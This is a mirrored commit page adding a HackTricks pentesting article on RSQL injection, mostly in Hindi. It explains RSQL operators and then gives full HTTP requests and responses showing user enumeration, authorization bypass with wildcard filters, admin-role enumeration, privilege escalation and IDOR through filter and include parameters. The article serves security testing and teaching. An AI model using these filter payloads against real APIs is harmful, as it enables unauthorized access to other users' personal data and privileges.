mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/rsql-injection.md'] to hi
This commit is contained in:
Translator
parent
094fbcef4e
commit
9e0af4de5d
577
src/pentesting-web/rsql-injection.md
Normal file
577
src/pentesting-web/rsql-injection.md
Normal file
@ -0,0 +1,577 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## RSQL क्या है?
|
||||
RSQL एक क्वेरी भाषा है जो RESTful APIs में इनपुट के पैरामीटरयुक्त फ़िल्टरिंग के लिए डिज़ाइन की गई है। FIQL (Feed Item Query Language) पर आधारित, जिसे मूल रूप से मार्क नॉटिंघम द्वारा एटम फ़ीड को क्वेरी करने के लिए निर्दिष्ट किया गया था, RSQL अपनी सरलता और HTTP पर कॉम्पैक्ट और URI-अनुरूप तरीके से जटिल क्वेरियों को व्यक्त करने की क्षमता के लिए खड़ा है। यह REST एंडपॉइंट खोज के लिए एक सामान्य क्वेरी भाषा के रूप में एक उत्कृष्ट विकल्प बनाता है।
|
||||
|
||||
## अवलोकन
|
||||
RSQL Injection एक कमजोरियों है जो वेब अनुप्रयोगों में होती है जो RESTful APIs में क्वेरी भाषा के रूप में RSQL का उपयोग करती हैं। [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) और [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) के समान, यह कमजोरी तब होती है जब RSQL फ़िल्टर ठीक से साफ़ नहीं किए जाते, जिससे एक हमलावर को दुर्भावनापूर्ण क्वेरियों को इंजेक्ट करने की अनुमति मिलती है ताकि डेटा को बिना अनुमति के एक्सेस, संशोधित या हटाया जा सके।
|
||||
|
||||
## यह कैसे काम करता है?
|
||||
RSQL आपको RESTful APIs में उन्नत क्वेरियाँ बनाने की अनुमति देता है, उदाहरण के लिए:
|
||||
```bash
|
||||
/products?filter=price>100;category==electronics
|
||||
```
|
||||
यह एक संरचित क्वेरी में अनुवादित होता है जो उन उत्पादों को फ़िल्टर करता है जिनकी कीमत 100 से अधिक है और श्रेणी "इलेक्ट्रॉनिक्स" है।
|
||||
|
||||
यदि एप्लिकेशन उपयोगकर्ता इनपुट को सही ढंग से मान्य नहीं करता है, तो एक हमलावर फ़िल्टर को हेरफेर कर सकता है ताकि अप्रत्याशित क्वेरीज़ को निष्पादित किया जा सके, जैसे:
|
||||
```bash
|
||||
/products?filter=id=in=(1,2,3);delete_all==true
|
||||
```
|
||||
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
|
||||
|
||||
## Risks
|
||||
- **संवेदनशील डेटा का खुलासा:** एक हमलावर ऐसी जानकारी प्राप्त कर सकता है जो उपलब्ध नहीं होनी चाहिए।
|
||||
- **डेटा संशोधन या हटाना:** ऐसे फ़िल्टर का इंजेक्शन जो डेटाबेस रिकॉर्ड को बदलता है।
|
||||
- **अधिकार वृद्धि:** फ़िल्टर के माध्यम से भूमिकाएँ प्रदान करने वाले पहचानकर्ताओं में हेरफेर करना ताकि एप्लिकेशन को अन्य उपयोगकर्ताओं के अधिकारों के साथ पहुँचने के लिए धोखा दिया जा सके।
|
||||
- **एक्सेस नियंत्रणों से बचाव:** प्रतिबंधित डेटा तक पहुँचने के लिए फ़िल्टर में हेरफेर करना।
|
||||
- **नकली पहचान या IDOR:** फ़िल्टर के माध्यम से उपयोगकर्ताओं के बीच पहचानकर्ताओं में संशोधन करना जो बिना उचित प्रमाणीकरण के अन्य उपयोगकर्ताओं की जानकारी और संसाधनों तक पहुँचने की अनुमति देते हैं।
|
||||
|
||||
## Supported RSQL operators
|
||||
| Operator | Description | Example |
|
||||
|:----: |:----: |:------------------:|
|
||||
| `;` / `and` | Logical **AND** operator. Filters rows where *both* conditions are *true* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
||||
| `,` / `or` | Logical **OR** operator. Filters rows where *at least one* condition is *true*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
||||
| `==` | Performs an **equals** query. Returns all rows from *myTable* where values in *columnA* exactly equal *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
|
||||
| `=q=` | Performs a **search** query. Returns all rows from *myTable* where values in *columnA* contain *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
|
||||
| `=like=` | Performs a **like** query. Returns all rows from *myTable* where values in *columnA* are like *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
|
||||
| `=in=` | Performs an **in** query. Returns all rows from *myTable* where *columnA* contains *valueA* OR *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
||||
| `=out=` | Performs an **exclude** query. Returns all rows of *myTable* where the values in *columnA* are neither *valueA* nor *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||||
| `!=` | Performs a *not equals* query. Returns all rows from *myTable* where values in *columnA* do not equal *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
|
||||
| `=notlike=` | Performs a **not like** query. Returns all rows from *myTable* where values in *columnA* are not like *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||||
| `<` & `=lt=` | Performs a **lesser than** query. Returns all rows from *myTable* where values in *columnA* are lesser than *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||
| `=le=` & `<=` | Performs a **lesser than** or **equal to** query. Returns all rows from *myTable* where values in *columnA* are lesser than or equal to *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||||
| `>` & `=gt=` | Performs a **greater than** query. Returns all rows from *myTable* where values in *columnA* are greater than *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||
| `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||||
| `=rng=` | Performs a **from to** query. Returns all rows from *myTable* where values in *columnA* are equal or greater than the *fromValue*, and lesser than or equal to the *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||||
|
||||
**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.
|
||||
|
||||
#### Examples
|
||||
- name=="Kill Bill";year=gt=2003
|
||||
- name=="Kill Bill" and year>2003
|
||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||||
- director.lastName==Nolan and year>=2000 and year<2010
|
||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||||
|
||||
**Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application.
|
||||
|
||||
## Common filters
|
||||
These filters help refine queries in APIs:
|
||||
|
||||
| Filter | Description | Example |
|
||||
|--------|------------|---------|
|
||||
| `filter[users]` | Filters results by specific users | `/api/v2/myTable?filter[users]=123` |
|
||||
| `filter[status]` | Filters by status (active/inactive, completed, etc.) | `/api/v2/orders?filter[status]=active` |
|
||||
| `filter[date]` | Filters results within a date range | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
||||
| `filter[category]` | Filters by category or resource type | `/api/v2/products?filter[category]=electronics` |
|
||||
| `filter[id]` | Filters by a unique identifier | `/api/v2/posts?filter[id]=42` |
|
||||
|
||||
|
||||
## Common parameters
|
||||
These parameters help optimize API responses:
|
||||
|
||||
| Parameter | Description | Example |
|
||||
|-----------|------------|---------|
|
||||
| `include` | Includes related resources in the response | `/api/v2/orders?include=customer,items` |
|
||||
| `sort` | Sorts results in ascending or descending order | `/api/v2/users?sort=-created_at` |
|
||||
| `page[size]` | Controls the number of results per page | `/api/v2/products?page[size]=10` |
|
||||
| `page[number]` | Specifies the page number | `/api/v2/products?page[number]=2` |
|
||||
| `fields[resource]` | Defines which fields to return in the response | `/api/v2/users?fields[users]=id,name,email` |
|
||||
| `search` | Performs a more flexible search | `/api/v2/posts?search=technology` |
|
||||
|
||||
## Information leakage and enumeration of users
|
||||
The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 400
|
||||
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
||||
Content-Type: application/vnd.api+json
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
Content-Length: 85
|
||||
|
||||
{
|
||||
"errors": [{
|
||||
"code": "BLANK",
|
||||
"detail": "Missing required param: email",
|
||||
"status": "400"
|
||||
}]
|
||||
}
|
||||
```
|
||||
हालांकि `/api/registrations?email=<emailAccount>` की अपेक्षा की जाती है, लेकिन विशेष ऑपरेटरों के उपयोग के माध्यम से उपयोगकर्ता जानकारी को सूचीबद्ध करने और/या निकालने के लिए RSQL फ़िल्टर का उपयोग करना संभव है:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://locahost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://locahost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 38
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"attributes": {
|
||||
"tenants": []
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
एक मान्य ईमेल खाते से मेल खाने के मामले में, एप्लिकेशन सर्वर के प्रति प्रतिक्रिया में उपयोगकर्ता की जानकारी लौटाएगा, न कि एक क्लासिक *“true”*, *"1"* या कुछ और:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 293
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"attributes": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"email": "manuel**********@domain.local",
|
||||
"sub": "*********************",
|
||||
"status": "ACTIVE",
|
||||
"tenants": [{
|
||||
"id": "1"
|
||||
}]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Authorization evasion
|
||||
इस परिदृश्य में, हम एक उपयोगकर्ता से शुरू करते हैं जिसकी एक बुनियादी भूमिका है और जिसमें हमारे पास सभी उपयोगकर्ताओं की सूची तक पहुँचने के लिए विशेषाधिकार प्राप्त अनुमतियाँ नहीं हैं (जैसे कि व्यवस्थापक):
|
||||
### Request
|
||||
```
|
||||
GET /api/users HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 403
|
||||
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
||||
Content-Length: 0
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
```
|
||||
फिर से हम फ़िल्टर और विशेष ऑपरेटर का उपयोग करते हैं जो हमें उपयोगकर्ताओं की जानकारी प्राप्त करने और एक्सेस नियंत्रण से बचने का एक वैकल्पिक तरीका प्रदान करेंगे। उदाहरण के लिए, उन *उपयोगकर्ताओं* को फ़िल्टर करें जिनके उपयोगकर्ता *ID* में " *a* " अक्षर है:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 1434192
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "********A***********",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "************",
|
||||
"email": "**********@domain.local",
|
||||
"firstName": "rafael",
|
||||
"surname": "************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "*********",
|
||||
"taxIdentifier": "********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-08-09T10:57:41.237Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
"id": "*A*******A*****A*******A******",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": ""************",
|
||||
"email": "juan*******@domain.local",
|
||||
"firstName": "juan",
|
||||
"surname": ""************",",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "************",
|
||||
"taxIdentifier": "************",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-07-18T06:07:37.68Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "*******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
................
|
||||
```
|
||||
## Privilege Escalation
|
||||
यह बहुत संभव है कि कुछ एंडपॉइंट्स मिलें जो उनके रोल के माध्यम से उपयोगकर्ता की विशेषताओं की जांच करते हैं। उदाहरण के लिए, हम एक उपयोगकर्ता के साथ काम कर रहे हैं जिसके पास कोई विशेषताएँ नहीं हैं:
|
||||
### Request
|
||||
```
|
||||
GET /api/companyUsers?include=role HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 11
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": []
|
||||
}
|
||||
```
|
||||
कुछ विशेष ऑपरेटरों का उपयोग करके हम व्यवस्थापक उपयोगकर्ताओं की गणना कर सकते हैं:
|
||||
### Request
|
||||
```
|
||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJh.....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 361
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"type": "CompanyUserGetResponseDTO",
|
||||
"attributes": {
|
||||
"companyId": "FA**************",
|
||||
"companyTaxIdentifier": "B999*******",
|
||||
"bizName": "company sl",
|
||||
"email": "jose*******@domain.local",
|
||||
"userRole": {
|
||||
"userRoleId": 1,
|
||||
"userRoleKey": "general.roles.admin"
|
||||
},
|
||||
"companyCountryTranslationKey": "*******",
|
||||
"type": "CompanyUserGetResponseDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
एक प्रशासक उपयोगकर्ता के पहचानकर्ता को जानने के बाद, एक विशेषाधिकार वृद्धि का लाभ उठाना संभव होगा, प्रशासक के पहचानकर्ता के साथ संबंधित फ़िल्टर को बदलकर या जोड़कर और समान विशेषाधिकार प्राप्त करके:
|
||||
### Request
|
||||
```
|
||||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ.....
|
||||
Origin: https:/localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https:/localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 68833
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"meta": {
|
||||
"Functionalities": [{
|
||||
"functionalityId": 1,
|
||||
"permissionId": 1,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.userProfile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 2,
|
||||
"permissionId": 2,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.my_profile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 3,
|
||||
"permissionId": 3,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "layout.change_user_data",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 4,
|
||||
"permissionId": 4,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.configuration",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
.......
|
||||
```
|
||||
## Impersonate or Insecure Direct Object References (IDOR)
|
||||
`filter` पैरामीटर के उपयोग के अलावा, अन्य पैरामीटर जैसे `include` का उपयोग करना संभव है जो परिणाम में कुछ पैरामीटर (जैसे भाषा, देश, पासवर्ड...) को शामिल करने की अनुमति देता है।
|
||||
|
||||
निम्नलिखित उदाहरण में, हमारे उपयोगकर्ता प्रोफ़ाइल की जानकारी दिखाई गई है:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 540
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "**********",
|
||||
"email": "domingo....@domain.local",
|
||||
"firstName": "Domingo",
|
||||
"surname": "**********",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "******",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-03-11T07:24:57.627Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"howMeetUs": "**************",
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
फिल्टरों का संयोजन प्राधिकरण नियंत्रण से बचने और अन्य उपयोगकर्ताओं की प्रोफाइल तक पहुँच प्राप्त करने के लिए उपयोग किया जा सकता है:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### प्रतिक्रिया
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 520
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 2,
|
||||
"translationKey": "**************",
|
||||
"email": "jose******@domain.local",
|
||||
"firstName": "jose",
|
||||
"surname": "***************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "********",
|
||||
"taxIdentifier": "*********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-11-21T08:29:05.833Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
## संदर्भ
|
||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user